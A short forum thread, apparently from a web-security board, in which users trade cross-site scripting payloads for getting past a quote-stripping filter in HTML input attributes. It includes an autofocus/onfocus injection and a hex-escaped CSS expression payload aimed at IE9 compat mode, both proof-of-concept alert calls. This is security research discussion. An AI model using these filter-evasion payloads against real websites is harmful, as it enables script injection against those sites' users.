'"(){}/\<> - test chars

Results in source:

<input type="hidden" name="pageURL" value= (){}/\>

and bit further down:

<input type="text" name="link" id="link" style="width:400px" value=" (){}/\"/>


Can't think of any input type xss which doesn't use ' " ', can anyone help?

Closest I have got:

<input type="hidden" name="pageURL" value=/ AUTOFOCUS onfocus=alert(1) >
[but no alert]

[using Firefox, but any browser would be a help]

TheGreatEscape

I think this will work without quotes >>

Gareth Heyes Wrote:
-------------------------------------------------------
> Iframe the target site with the parent in compat
> mode then inject this:
> "style="xss:\65\78\70\72\65\73\73\69\6f\6e\28\61\6
> c\65\72\74\28\31\29\29"
>
> This will work on IE9 since the child inherits the
> parent compat mode

-------------------------------------------------------
Research blog

That has quotation marks which are filtered, unless I misunderstand something.